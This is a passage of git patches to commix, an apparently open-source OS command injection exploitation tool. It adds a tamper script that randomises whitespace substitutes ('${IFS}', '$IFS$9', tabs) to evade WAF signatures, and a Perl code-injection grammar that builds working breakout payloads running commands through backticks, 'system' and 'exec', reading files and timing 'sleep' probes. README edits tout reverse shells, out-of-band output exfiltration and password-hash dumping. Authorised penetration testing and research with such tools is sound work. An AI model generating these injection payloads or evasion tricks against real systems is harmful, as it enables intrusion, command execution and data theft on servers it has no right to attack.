b/src/tamper/whitespace/windows/space2vtab.py similarity index 96% rename from src/tamper/space2vtab.py rename to src/tamper/whitespace/windows/space2vtab.py index 1e965d438b..e662588e3c 100644 --- a/src/tamper/space2vtab.py +++ b/src/tamper/whitespace/windows/space2vtab.py @@ -17,7 +17,7 @@ from src.core.controller import checks """ -About: Replaces space character (%20) with vertical tab (%0b) in a given payload. +About: Replaces space character (' ') with vertical tab (%0b) in a given payload. Notes: This tamper script works against Windows targets. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 8d40d72b22..f6a26f6226 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,6 +20,7 @@ import random import string import codecs +import unicodedata import threading as _threading from datetime import date from datetime import datetime @@ -284,17 +285,31 @@ def print_retrieved_data(label, retrieved, quoted=True): body = SINGLE_WHITESPACE + ("'" + text + "'" if quoted else text) return label + ":" + body + Style.RESET_ALL +""" +How many terminal columns a string actually draws as - 'len()' counts codepoints, but a +fullwidth/wide character (e.g. U+FF07, the one 'unicodequote' payloads print) still occupies two. +""" +def _display_width(text): + return sum(2 if unicodedata.east_asian_width(char) in ("W", "F") else 1 for char in text) + +""" +'ljust()' pads by codepoint count too, so a cell measured with '_display_width' still needs its +own padding worked out the same way, not left to the builtin. +""" +def _display_ljust(text, width): + return text + " " * (width - _display_width(text)) + """ A plain ASCII table - column widths taken from the widest cell each has, headers included. """ def render_table(headers, rows): - widths = [len(str(header)) for header in headers] + widths = [_display_width(str(header)) for header in headers] for row in rows: for index, cell in enumerate(row): - widths[index] = max(widths[index], len(str(cell))) + widths[index] = max(widths[index], _display_width(str(cell))) border = "+" + "+".join("-" * (width + 2) for width in widths) + "+" def _row(cells): - return "| " + " | ".join(str(cell).ljust(widths[index]) for index, cell in enumerate(cells)) + " |" + return "| " + " | ".join(_display_ljust(str(cell), widths[index]) for index, cell in enumerate(cells)) + " |" lines = [border, _row(headers), border] lines.extend(_row(row) for row in rows) lines.append(border) @@ -442,7 +457,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "249" +REVISION = "250" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b906c17f502a12ba3e939463214cd8d8867a7a2b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 24 Oct 2026 08:35:30 +0300 Subject: [PATCH 0922/1023] Added new tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload --- doc/CHANGELOG.md | 1 + .../whitespace/posix/space2randomblank.py | 70 +++++++++++++++++++ src/utils/settings.py | 5 +- 3 files changed, 74 insertions(+), 2 deletions(-) create mode 100644 src/tamper/whitespace/posix/space2randomblank.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2c98fc61ff..17b03f5ee3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload. * Added: New tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject`. * Added: New tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}`. * Added: New tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node. diff --git a/src/tamper/whitespace/posix/space2randomblank.py b/src/tamper/whitespace/posix/space2randomblank.py new file mode 100644 index 0000000000..f094b1ec10 --- /dev/null +++ b/src/tamper/whitespace/posix/space2randomblank.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces every occurrence of the payload's own whitespace with one drawn independently from + a small set of equivalents, rather than the one substitute every other space2* script settles + on for the whole payload. +Notes: This tamper script works against target(s) with a POSIX shell. + 'if'/'then'/'fi' and friends are recognised before '${IFS}' expands, so 'if${IFS}' is never + read back as the keyword - a tab goes next to those instead. '$IFS$9' merges with a digit + right after it into one (empty) parameter, so it is skipped there too. Picked once per call + rather than once per occurrence, since a choice that breaks here would otherwise pass + boolean-based verification's first check and fail its second, or the other way round. +""" + +__tamper__ = "space2randomblank" +__priority__ = settings.PRIORITY.LOWER + +_BLANKS = ("\t", "${IFS}", "$IFS$9") +_KEYWORDS = ("if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "in") + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Rules out whichever choices would misparse here, and picks randomly among what is left. +def _blank_for(part, start, end): + before = re.search(r"(\w+)\Z", part[:start]) + after = re.match(r"\A(\w+)", part[end:]) + choices = _BLANKS + if (before and before.group(1) in _KEYWORDS) or (after and after.group(1) in _KEYWORDS): + choices = ("\t",) + elif after and after.group(1)[:1].isdigit(): + choices = tuple(blank for blank in choices if blank != "$IFS$9") + return random.choice(choices) + +# Every occurrence of the current separator, each replaced with its own independent pick - so a +# signature over one consistent telltale substitute never sees the same one twice in a row. +def tamper(payload): + if len(settings.WHITESPACES) == 0: + return payload + current = settings.WHITESPACES[0] + if not current: + return payload + pattern = re.escape(current) + def _replace(part): + return re.sub(pattern, lambda match: _blank_for(part, match.start(), match.end()), part) + return checks.tamper_outside_single_quotes(payload, _replace) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index f6a26f6226..fb2f61a9e1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -457,7 +457,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "250" +REVISION = "251" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1883,7 +1883,8 @@ class AUTH_TYPE(object): "jsvmescape": False, "nashornexec": False, "pybuiltinsescape": False, - "basicobjectescape": False + "basicobjectescape": False, + "space2randomblank": False } # Execution priority for tamper scripts; each script defines its own __priority__. From 351af24cfea469bc8eaea903a49d58de18a21b4f Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 25 Oct 2026 10:21:59 +0200 Subject: [PATCH 0923/1023] Added new `--eval=perl` support, for a sink evaluating Perl --- README.md | 2 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/core/eval/__init__.py | 3 +- src/core/eval/grammars/perl.py | 159 +++++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 11 files changed, 170 insertions(+), 9 deletions(-) create mode 100644 src/core/eval/grammars/perl.py diff --git a/README.md b/README.md index cd1226a216..3c99e5029e 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Four injection techniques** - results-based, boolean-based, time-based and file-based, chosen with `--technique` or by the type they report with `--type` - see [techniques](https://github.com/commixproject/commix/wiki/Techniques) for what each one asks of a target. * **Out-of-band, when nothing comes back at all** - `--oob` proves execution and carries the command's output over HTTP/S or DNS, reaching the server through whichever client the target happens to have - see [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) for the ones it tries and how to pin one. -* **Code injection** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript` or `PowerShell`, over those same techniques. +* **Code injection** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript`, `PowerShell` or `Perl`, over those same techniques. * **Wherever input lands** - GET/POST parameters, [HTTP headers and cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, plus the `shellshock` module for CGI targets. * **From proof to shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), built-in `reverse_tcp` and `bind_tcp` upgradeable to a full PTY, file transfer, Windows registry read/write, and enumeration through to password hashes with a dictionary attack offered against them. * **Filter and WAF evasion** - combinable tamper scripts, applied in a deterministic order - see [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 17b03f5ee3..a62c1f050e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New `--eval=perl` support, for a sink evaluating Perl. * Added: New tamper script `space2randomblank.py`, varying the whitespace substitute per occurrence instead of one for the whole payload. * Added: New tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject`. * Added: New tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}`. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 9c1317eb13..88976d7cce 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -36,7 +36,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **Cuatro técnicas de inyección** - results-based, boolean-based, time-based y file-based, elegidas con `--technique` o según el tipo con el que se informan con `--type` - consulte [techniques](https://github.com/commixproject/commix/wiki/Techniques) para ver qué exige cada una de un objetivo. * **Out-of-band, cuando no vuelve nada** - `--oob` demuestra la ejecución y trae de vuelta la salida del comando sobre HTTP/S o DNS, llegando al servidor mediante el cliente que el objetivo tenga - consulte [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) para ver cuáles prueba y cómo fijar uno. -* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript o PowerShell, con esas mismas técnicas. +* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript, PowerShell o Perl, con esas mismas técnicas. * **Dondequiera que llegue la entrada** - parámetros GET/POST, [cabeceras HTTP y cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), cuerpos JSON/XML/GraphQL, además del módulo `shellshock` para objetivos CGI. * **De la prueba a la shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), los modos integrados `reverse_tcp` y `bind_tcp` ampliables a una PTY completa, transferencia de archivos, lectura y escritura del registro de Windows, y enumeración hasta los hashes de contraseñas, con un ataque de diccionario ofrecido contra ellos. * **Evasión de filtros y WAF** - scripts de manipulación (tamper) combinables, aplicados en un orden determinista - consulte [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 5436d22cce..f45e9c504b 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -35,7 +35,7 @@ * **چهار تکنیک تزریق** - results-based، boolean-based، time-based و file-based، که با `--technique` یا بر پایه نوعی که با `--type` گزارش می‌کنند انتخاب می‌شوند - برای اینکه هر کدام چه چیزی از هدف می‌خواهد [techniques](https://github.com/commixproject/commix/wiki/Techniques) را ببینید. * **out-of-band، وقتی هیچ چیز بازنمی‌گردد** - سوئیچ `--oob` اجرا را اثبات می‌کند و خروجی فرمان را روی HTTP/S یا DNS بازمی‌گرداند، و از راه هر کلاینتی که هدف داشته باشد به سرور می‌رسد - برای اینکه کدام‌ها را می‌آزماید و چگونه یکی را تثبیت کنید [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) را ببینید. -* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript یا PowerShell و با همان تکنیک‌ها آزمایش می‌کند. +* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript، PowerShell یا Perl و با همان تکنیک‌ها آزمایش می‌کند. * **هر جا که ورودی فرود آید** - پارامترهای GET/POST، [سرآیندهای HTTP و کوکی‌ها](https://github.com/commixproject/commix/wiki/Usage#request-options)، بدنه‌های JSON/XML/GraphQL، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **از اثبات تا پوسته** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells)، حالت‌های داخلی `reverse_tcp` و `bind_tcp` با ارتقا به یک PTY کامل، انتقال فایل، خواندن و نوشتن رجیستری ویندوز، و شمارش تا درهم‌سازی گذرواژه‌ها، با پیشنهاد حمله دیکشنری علیه آن‌ها. * **دور زدن فیلترها و WAF** - اسکریپت‌های tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند - [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples) را ببینید. diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 523a77eaa4..c1167c5e88 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -36,7 +36,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **Quatre techniques d'injection** - results-based, boolean-based, time-based et file-based, choisies avec `--technique` ou selon le type sous lequel elles sont rapportées avec `--type` - voir [techniques](https://github.com/commixproject/commix/wiki/Techniques) pour ce que chacune exige d'une cible. * **Out-of-band, quand rien ne revient** - `--oob` prouve l'exécution et rapporte la sortie de la commande via HTTP/S ou DNS, en atteignant le serveur par le client dont la cible dispose - voir [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) pour ceux qu'il essaie et comment en fixer un. -* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript ou PowerShell, avec ces mêmes techniques. +* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript, PowerShell ou Perl, avec ces mêmes techniques. * **Partout où l'entrée aboutit** - paramètres GET/POST, [en-têtes HTTP et cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), corps JSON/XML/GraphQL, ainsi que le module `shellshock` pour les cibles CGI. * **De la preuve au shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), les modes intégrés `reverse_tcp` et `bind_tcp` promouvables en PTY complet, le transfert de fichiers, la lecture et l'écriture du registre Windows, et l'énumération jusqu'aux empreintes de mots de passe, avec une attaque par dictionnaire proposée contre elles. * **Contournement des filtres et des WAF** - scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe - voir [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 9274f125bb..a2425e717d 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -35,7 +35,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] * **Τέσσερις τεχνικές injection** – results-based, boolean-based, time-based και file-based, που επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type` – δείτε τις [techniques](https://github.com/commixproject/commix/wiki/Techniques) για το τι απαιτεί η καθεμία από ένα target. * **Out-of-band, όταν δεν επιστρέφει τίποτα** – το `--oob` αποδεικνύει την εκτέλεση και μεταφέρει το output της εντολής μέσω HTTP/S ή DNS, φτάνοντας στον server μέσω όποιου client τυχαίνει να διαθέτει το target – δείτε [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) για το ποιους δοκιμάζει και πώς να ορίσετε έναν. -* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript ή PowerShell, με τις ίδιες τεχνικές. +* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript, PowerShell ή Perl, με τις ίδιες τεχνικές. * **Όπου κι αν καταλήγει το input** – GET/POST parameters, [HTTP headers και cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, καθώς και το `shellshock` module για CGI targets. * **Από την απόδειξη στο shell** – [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), ενσωματωμένα `reverse_tcp` και `bind_tcp` με αναβάθμιση σε πλήρες PTY, μεταφορά αρχείων, read/write στο Windows registry και enumeration μέχρι τα password hashes, με dictionary attack να προσφέρεται εναντίον τους. * **Filter και WAF evasion** – συνδυάσιμα tamper scripts, που εφαρμόζονται με deterministic σειρά – δείτε [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 204ce2bc4a..889855262f 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -36,7 +36,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Empat teknik injeksi** - results-based, boolean-based, time-based dan file-based, dipilih dengan `--technique` atau berdasarkan tipe yang mereka laporkan dengan `--type` - lihat [techniques](https://github.com/commixproject/commix/wiki/Techniques) untuk apa yang dituntut masing-masing dari sebuah target. * **Out-of-band, ketika tidak ada yang kembali** - `--oob` membuktikan eksekusi dan membawa keluaran perintah melalui HTTP/S atau DNS, mencapai server lewat klien apa pun yang kebetulan dimiliki target - lihat [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) untuk klien yang dicoba dan cara menetapkan salah satunya. -* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, atau PowerShell, dengan teknik yang sama. +* **Injeksi kode** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) menguji apa yang dievaluasi target sebagai kode, dalam PHP, Python, Ruby, JavaScript, PowerShell, atau Perl, dengan teknik yang sama. * **Di mana pun masukan mendarat** - parameter GET/POST, [header HTTP dan cookie](https://github.com/commixproject/commix/wiki/Usage#request-options), body JSON/XML/GraphQL, serta modul `shellshock` untuk target CGI. * **Dari bukti ke shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), mode bawaan `reverse_tcp` dan `bind_tcp` yang dapat ditingkatkan menjadi PTY penuh, transfer berkas, baca/tulis registry Windows, dan enumerasi hingga hash kata sandi, dengan serangan kamus yang ditawarkan terhadapnya. * **Pengelakan filter dan WAF** - skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik - lihat [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 6bdd7227bf..7ba62266b1 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -36,7 +36,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Dört enjeksiyon tekniği** - results-based, boolean-based, time-based ve file-based; `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir - her birinin hedeften ne istediği için bkz. [techniques](https://github.com/commixproject/commix/wiki/Techniques). * **Hiçbir şey geri dönmediğinde out-of-band** - `--oob` yürütmeyi kanıtlar ve komutun çıktısını HTTP/S ya da DNS üzerinden geri taşır; sunucuya hedefte hangi istemci varsa onunla ulaşır - hangilerini denediği ve nasıl sabitleneceği için bkz. [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client). -* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript veya PowerShell olarak, aynı tekniklerle sınar. +* **Kod enjeksiyonu** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection), hedefin kod olarak değerlendirdiğini PHP, Python, Ruby, JavaScript, PowerShell veya Perl olarak, aynı tekniklerle sınar. * **Girdi nereye düşerse** - GET/POST parametreleri, [HTTP başlıkları ve çerezler](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Kanıttan kabuğa** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), tam PTY'ye yükseltilebilen yerleşik `reverse_tcp` ve `bind_tcp`, dosya aktarımı, Windows kayıt defteri okuma/yazma ve parola özetlerine kadar numaralandırma; bunlara karşı bir sözlük saldırısı da önerilir. * **Filtre ve WAF atlatma** - birlikte kullanılabilen tamper betikleri, belirlenimci bir sırayla uygulanır - bkz. [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py index 95f16de5c1..9fd3fd3c5f 100644 --- a/src/core/eval/__init__.py +++ b/src/core/eval/__init__.py @@ -25,9 +25,10 @@ from src.core.eval.grammars import ruby from src.core.eval.grammars import javascript from src.core.eval.grammars import powershell +from src.core.eval.grammars import perl LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript, - powershell.NAME: powershell} + powershell.NAME: powershell, perl.NAME: perl} """ The languages that can be named with '--eval'. diff --git a/src/core/eval/grammars/perl.py b/src/core/eval/grammars/perl.py new file mode 100644 index 0000000000..a7de2ccc2e --- /dev/null +++ b/src/core/eval/grammars/perl.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "perl" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Perl" + +# An expression whose value says at once that code was evaluated, and which build evaluated it. +# '$]' is the interpreter's own version number, '$^O' the platform it was built for - neither one +# alone is unique to Perl, but nothing else renders this exact pair back in this exact order. +PROBE = "$] . $^O" + +# The probe on its own, and wrapped in what would render it where the bare value is not. +PROBE_FUNCTIONS = ["" + PROBE + "", + "(" + PROBE + ")" +] + +# The same probes broken into the string being evaluated, one boundary per row. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["." + x for x in PROBE_FUNCTIONS], + ["'." + x + ".'" for x in PROBE_FUNCTIONS], + ["\"." + x + ".\"" for x in PROBE_FUNCTIONS], + ["')." + x + ".('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"(\d+\.\d+)(?:linux|darwin|MSWin32|freebsd|openbsd|solaris|cygwin)" +WARNINGS = ["syntax error", "at (eval", "Global symbol", "Can't locate", "Undefined subroutine"] + +""" +The language's own functions that run a command, widest first as the level rises. + +Each is written as a bare name a payload can wrap in a call - the backtick operator runs a command +too, and is reached through 'run()' below rather than named here, since it is not a call this +prefix scheme can wrap. +""" +EXECUTION_FUNCTIONS_LVL1 = ["system"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one (with '.', not +# '+' - this language's own concatenation operator), and concatenation out of a quoted string the +# value sits inside. +PREFIXES_LVL1 = ["", ".", "'.", "\"."] +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')." , "\")." , "',", "\","] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", ".'", ".\""] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + [".('", ".(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return ".".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. +""" + +""" +A string literal holding the given text. + +Written inside '${\\ ... }', which interpolates one expression's value as-is - unlike a bare +backtick string, which reads '$' and '@' in whatever it is given as its own interpolation, however +much of the command they were never meant to be. 'sleep', 'exit' and the rest of this grammar never +go through this, so only run() and read_file() need it. +""" +def _literal(text): + text = text.replace("\\", "\\\\").replace("\"", "\\\"").replace("$", "\\$").replace("@", "\\@") + return "\"" + text + "\"" + +# Run a command and yield its output, through the backtick operator. +def run(cmd): + return "`${\\" + _literal(cmd) + "}`" + +# Read a file and yield its contents. +def read_file(path): + return run("cat " + path) + +# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +def trim(expr): + return "((" + expr + ")=~s/\\s+\\z//r)" + +# How many bytes an expression is. +def length(expr): + return "length(" + expr + ")" + +# The ordinal of an expression's Nth byte, counting from zero. +def ordinal(expr, index): + return "ord(substr(" + expr + "," + str(index) + ",1))" + +# An expression's value read as a number, for a command whose output is one - '+0' numeric context +# answers 0 for anything that is not one, the same as every other grammar's own fallback here. +def to_number(expr): + return "((" + expr + ")+0)" + +# Wait for as long as the condition is true, and no time at all when it is false. +def delay(timesec, condition): + return "sleep(" + str(timesec) + "*(" + condition + "))" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "((" + condition + ")?\"\":exit())" + +""" +Evaluate one expression and then another, within a single expression. + +The comma operator discards its first side and yields its second only in scalar context - in list +context, the one 'print' or an outer list assignment would give it, both sides come back instead, +first included. 'scalar(...)' forces the one this grammar means regardless of where it then sits. +""" +def sequence(first, second): + return "scalar((" + first + "," + second + "))" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index fb2f61a9e1..fb72a76217 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -457,7 +457,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "251" +REVISION = "252" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a212cfdd3bf21830647350c60e03f82052823546 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 26 Oct 2026 09:05:40 +0200 Subject: [PATCH 0924/1023] Added new `--eval=lua` support, for a sink evaluating Lua --- README.md | 2 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/core/eval/__init__.py | 3 +- src/core/eval/grammars/lua.py | 171 +++++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 11 files changed, 182 insertions(+), 9 deletions(-) create mode 100644 src/core/eval/grammars/lua.py diff --git a/README.md b/README.md index 3c99e5029e..ed0ae8e12d 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Four injection techniques** - results-based, boolean-based, time-based and file-based, chosen with `--technique` or by the type they report with `--type` - see [techniques](https://github.com/commixproject/commix/wiki/Techniques) for what each one asks of a target. * **Out-of-band, when nothing comes back at all** - `--oob` proves execution and carries the command's output over HTTP/S or DNS, reaching the server through whichever client the target happens to have - see [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) for the ones it tries and how to pin one. -* **Code injection** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) tests what a target evaluates as code, in `PHP`, `Python`, `Ruby`, `JavaScript`, `PowerShell` or `Perl`, over those same techniques. +* **Code injection** - 